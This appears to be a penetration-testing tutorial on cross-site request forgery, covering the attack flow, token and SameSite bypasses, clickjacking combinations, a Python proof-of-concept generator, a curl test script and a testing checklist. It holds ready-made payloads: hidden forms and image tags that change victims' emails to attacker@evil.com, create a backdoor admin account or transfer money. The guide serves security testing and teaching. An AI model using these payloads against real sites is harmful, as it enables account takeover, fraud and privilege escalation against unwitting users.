Cross-Site Request Forgery (CSRF)
CSRF forces authenticated users to perform unwanted actions on web applications. This guide covers attack vectors, token bypass techniques, and modern defense evasion methods.
Warning
🎯 Why CSRF Still Matters in the SameSite Era
Despite SameSite cookies being the default in modern browsers, CSRF remains a critical vulnerability for several reasons:
- Legacy Applications: Millions of applications still use SameSite=None or lack the attribute entirely. Many enterprise apps haven't been updated since before 2020.
- Chrome's 2-Minute Window: Newly-set cookies without SameSite are treated as None for 2 minutes, creating a race condition window for attacks.
- GET-Based State Changes: SameSite=Lax still allows cookies on top-level GET navigations. Applications with GET-based state changes (logout, delete, transfer) remain fully vulnerable.
- Subdomain Attacks: If attacker controls a subdomain, they can set cookies for the parent domain, bypassing CSRF token validation in double-submit patterns.
- Clickjacking Combination: Even with CSRF tokens, clickjacking can trick users into clicking legitimate buttons, achieving the same outcome.
- OAuth/SSO Flows: Cross-origin redirects in OAuth can be exploited for login CSRF, linking attacker accounts to victim sessions.
Tools & Resources
Burp Suite
Right-click > Engagement Tools > Generate CSRF PoC
Built-in feature Cookie Editor
Browser extension to inspect SameSite values
Chrome/Firefox extension Understanding CSRF
CSRF exploits the trust a website has in a user's browser. When a user is authenticated, their browser automatically includes session cookies with every request. An attacker can craft a malicious page that triggers requests to the target site.
Attack Flow
- Victim is authenticated to target.com (has valid session cookie)
- Attacker sends victim a link to attacker.com/malicious.html
- Malicious page contains hidden form/request to target.com
- Browser automatically includes victim's cookies with request
- Target.com processes request as legitimate (changes password, transfers money, etc.)
CSRF Prerequisites
- Relevant action exists - Password change, email update, fund transfer, etc.
- Cookie-based sessions - Authentication relies on cookies automatically sent
- No unpredictable parameters - No CSRF token or other validation
Basic CSRF Attacks
GET Request CSRF
Simplest form - state-changing action via GET (bad practice but common):
<!-- Image tag - request fires automatically when page loads -->
<img src="https://target.com/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- Link (requires click) -->
<a href="https://target.com/delete-account">Click for free prize!</a>
<!-- Iframe - hidden request -->
<iframe src="https://target.com/change-email?email=attacker@evil.com" style="display:none"></iframe>
<!-- Multiple actions -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<img src="https://bank.com/transfer?to=attacker&amount=1000">POST Request CSRF
Auto-submitting form for POST requests:
<html>
<body onload="document.getElementById('csrf-form').submit()">
<form id="csrf-form" action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm" value="1">
</form>
</body>
</html>CSRF with XSS Trigger
<!-- Trigger form submit via image error -->
<form id="csrf" action="https://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>
<img src="x" onerror="document.getElementById('csrf').submit()">
<!-- Or via script -->
<form id="csrf" action="https://target.com/admin/add-user" method="POST">
<input type="hidden" name="username" value="backdoor">
<input type="hidden" name="password" value="backdoor123">
<input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>JSON-Based CSRF
Modern APIs often expect JSON bodies. Standard HTML forms can't send JSON, but there are techniques to exploit CSRF on JSON endpoints.
Method 1: Fetch API (if CORS allows)
<script>
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include', // Include cookies
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: 'attacker@evil.com'
})
});
</script>Information
Method 2: Form with JSON in Parameter
<!-- If server accepts form data AND parses it as JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore_me":"' value='"}' type="hidden">
</form>
<!-- Results in body: {"email":"attacker@evil.com","ignore_me":"="} -->Method 3: Flash-Based (Legacy)
// Flash could send custom Content-Type headers
// Now mostly obsolete but some old apps still vulnerable
// ActionScript payload:
var request:URLRequest = new URLRequest("https://target.com/api/update");
request.method = URLRequestMethod.POST;
request.data = '{"email":"attacker@evil.com"}';
request.contentType = "application/json";
navigateToURL(request);CSRF Token Bypass Techniques
1. Remove Token Entirely
# Original request with token
POST /change-email HTTP/1.1
email=test@test.com&csrf_token=abc123
# Test without token - server might not validate if missing
POST /change-email HTTP/1.1
email=attacker@evil.com2. Empty Token Value
# Some implementations only check if parameter exists
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=
# Or with empty string
csrf_token=""3. Use Another User's Token
# If tokens aren't tied to sessions, attacker's own token might work
# Step 1: Get your own valid token
# Step 2: Use it in attack payload
<form action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="ATTACKERS_OWN_VALID_TOKEN">
</form>4. Method Override
# If POST requires token but GET doesn't
# Change method via parameter override
POST /change-email HTTP/1.1
_method=GET&email=attacker@evil.com
# Or via header
X-HTTP-Method-Override: GET5. Token in Cookie (Double Submit)
# If token is just compared between cookie and parameter
# And you can set cookies (via XSS or subdomain)
# Inject your own matching pair:
document.cookie = "csrf_token=attacker_value; domain=.target.com";
<form action="https://target.com/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="csrf_token" value="attacker_value">
</form>6. Token Leakage via Referer
# If token is in URL and Referer header isn't stripped
# Link to external site leaks token
https://target.com/settings?csrf_token=abc123
# User clicks external link, Referer header sent:
Referer: https://target.com/settings?csrf_token=abc123
# Attacker captures token from their server logsSameSite Cookie Bypass
SameSite cookie attribute is modern CSRF defense. But misconfigurations and edge cases still allow attacks.
SameSite Modes
Strict
Cookie never sent cross-site. Best protection but can break UX.
Lax (Default)
Cookie sent with top-level GET navigations. Blocks POST CSRF.
None
Cookie always sent. Requires Secure flag. Fully vulnerable to CSRF.
Bypassing SameSite=Lax
# Lax allows cookies on top-level GET navigation
# If state change possible via GET:
<!-- Top-level navigation via window.open -->
<script>
window.open('https://target.com/change-email?email=attacker@evil.com');
</script>
<!-- Or via link click -->
<a href="https://target.com/delete-account">Click me!</a>
<!-- Or via form with GET -->
<form action="https://target.com/transfer" method="GET">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
<input type="submit" value="Click for free money!">
</form>2-Minute Lax Bypass (Chrome)
# Chrome has 2-minute window for cookies without SameSite set
# During this window, they're treated as None, not Lax
# If user just got new session cookie (login, OAuth redirect):
# You have ~2 minutes for traditional CSRF to work
# Practical exploitation:
1. Get victim to login (via OAuth, etc.)
2. Immediately redirect to CSRF page
3. Attack works within 2-minute windowClickjacking + CSRF Combo
When CSRF defenses exist but clickjacking is possible, overlay a malicious page over the legitimate one to trick users into clicking real buttons.
<html>
<head>
<style>
#target-frame {
position: absolute;
top: 100px;
left: 100px;
width: 500px;
height: 300px;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
}
#decoy {
position: absolute;
top: 130px;
left: 160px;
z-index: 1;
}
</style>
</head>
<body>
<h1>Win a Free iPhone!</h1>
<button id="decoy">Click Here to Claim!</button>
<!-- Invisible iframe positioned so delete button aligns with decoy -->
<iframe id="target-frame" src="https://target.com/account/settings"></iframe>
</body>
</html>Tip
Automation & Tools
Python CSRF PoC Generator
#!/usr/bin/env python3
"""
CSRF Proof-of-Concept HTML Generator
Takes a request and generates auto-submitting HTML form
"""
import argparse
import urllib.parse as urlparse
def generate_csrf_poc(method, url, params, auto_submit=True):
"""Generate CSRF PoC HTML"""
parsed = urlparse.urlparse(url)
html = f'''<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form id="csrf-form" action="{url}" method="{method}">
'''
for key, value in params.items():
html += f' <input type="hidden" name="{key}" value="{value}">\n'
html += ' <input type="submit" value="Submit">
</form>
'
if auto_submit:
html += ''' <script>
document.getElementById('csrf-form').submit();
</script>
'''
html += '</body>
</html>'
return html
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Generate CSRF PoC')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-m', '--method', default='POST', help='HTTP method')
parser.add_argument('-d', '--data', required=True, help='POST data (key=value&key2=value2)')
parser.add_argument('--no-auto', action='store_true', help='Disable auto-submit')
args = parser.parse_args()
# Parse POST data
params = dict(urlparse.parse_qsl(args.data))
poc = generate_csrf_poc(args.method, args.url, params, not args.no_auto)
# Save to file
filename = 'csrf_poc.html'
with open(filename, 'w') as f:
f.write(poc)
print(f"[+] CSRF PoC saved to {filename}")
print(f"[+] Target: {args.url}")
print(f"[+] Method: {args.method}")
print(f"[+] Parameters: {params}")Burp Suite CSRF PoC
# In Burp Suite:
# 1. Right-click on request in Proxy/Repeater
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to verify
# 4. Copy HTML for report
# Manual request modification for testing:
# 1. Send request to Repeater
# 2. Remove CSRF token parameter
# 3. Send - check if action still succeeds
# 4. Try empty token value
# 5. Try token from different sessionBash - Quick CSRF Test
#!/bin/bash
# Test if endpoint is vulnerable to CSRF
TARGET_URL="$1"
COOKIES="$2"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <url> [cookies]"
exit 1
fi
echo "[*] Testing CSRF on: $TARGET_URL"
# Test 1: Request without referer/origin
echo "[*] Test 1: No Referer/Origin headers"
curl -X POST "$TARGET_URL" -H "Cookie: $COOKIES" -d "email=test@test.com" -s -o /dev/null -w "Status: %{http_code}\n"
# Test 2: Request with different origin
echo "[*] Test 2: Cross-origin request"
curl -X POST "$TARGET_URL" -H "Cookie: $COOKIES" -H "Origin: https://attacker.com" -H "Referer: https://attacker.com/page" -d "email=test@test.com" -s -o /dev/null -w "Status: %{http_code}\n"
echo "[*] If both return 200/302 without error, likely vulnerable"High-Impact CSRF Targets
Functions to Test
Account Takeover
- Email change
- Password change
- Add recovery email
- Link OAuth provider
Financial
- Money transfer
- Change billing address
- Purchase items
- Subscription changes
Privilege Escalation
- Create admin user
- Change user roles
- Add API keys
- Modify permissions
Data Manipulation
- Delete account/data
- Modify settings
- Post content as user
- Approve/reject actions
Practice Labs
PortSwigger CSRF Labs
12 labs covering token bypass, SameSite, and advanced CSRF
OWASP CSRF Guide
Official documentation, attack examples, and prevention
TryHackMe DVWA
Practice CSRF at different security levels
Kontra CSRF Training
Free interactive CSRF vulnerability training
Information
CSRF Testing Checklist
🔍 Initial Assessment
- ☐ Identify state-changing actions (password, email, settings)
- ☐ Check cookie SameSite attributes via DevTools
- ☐ Look for CSRF tokens in forms/requests
- ☐ Check X-Frame-Options for clickjacking combo
- ☐ Identify GET-based state changes (logout, delete)
- ☐ Note any CORS configuration
🔓 Token Bypass Tests
- ☐ Remove token parameter entirely
- ☐ Submit empty token value
- ☐ Use token from different session
- ☐ Try method override (_method=GET)
- ☐ Change POST to GET
- ☐ Test token in URL vs body validation
🍪 SameSite Testing
- ☐ Test cookies without SameSite attribute
- ☐ Test within 2-minute window after login
- ☐ Check for GET state changes (Lax bypass)
- ☐ Test from subdomain (cookie injection)
- ☐ Verify Secure flag with SameSite=None
- ☐ Test OAuth/redirect flows for timing
📝 PoC & Validation
- ☐ Generate working PoC HTML
- ☐ Test in fresh browser profile
- ☐ Verify action completes successfully
- ☐ Test across different browsers
- ☐ Document victim interaction required
- ☐ Screenshot before/after state
How to Test for CSRF
Step-by-Step Testing Process
- Capture Request: In Burp Suite, perform the action you want to test (e.g., change email). Capture the request in Proxy history.
- Analyze Tokens: Look for CSRF tokens, check their length, entropy, and whether they're tied to the session.
- Check Cookies: In DevTools Application tab, examine SameSite attribute on session cookies. "Lax" blocks POST but allows GET; "None" is fully vulnerable.
- Generate PoC: Right-click the request in Burp → Engagement Tools → Generate CSRF PoC. Click "Test in browser" to verify.
- Test Variations: Modify the PoC - remove token, use empty value, try GET method if originally POST.
- Cross-Origin Test: Host PoC on different domain (use ngrok or local server). Verify action works cross-origin.
- Document Impact: If successful, demonstrate impact (account takeover via email change, admin user creation, etc.)
⚠️ Important: Always test in an isolated browser profile where you're logged into the target. The CSRF PoC page should trigger the action without any user login on that page.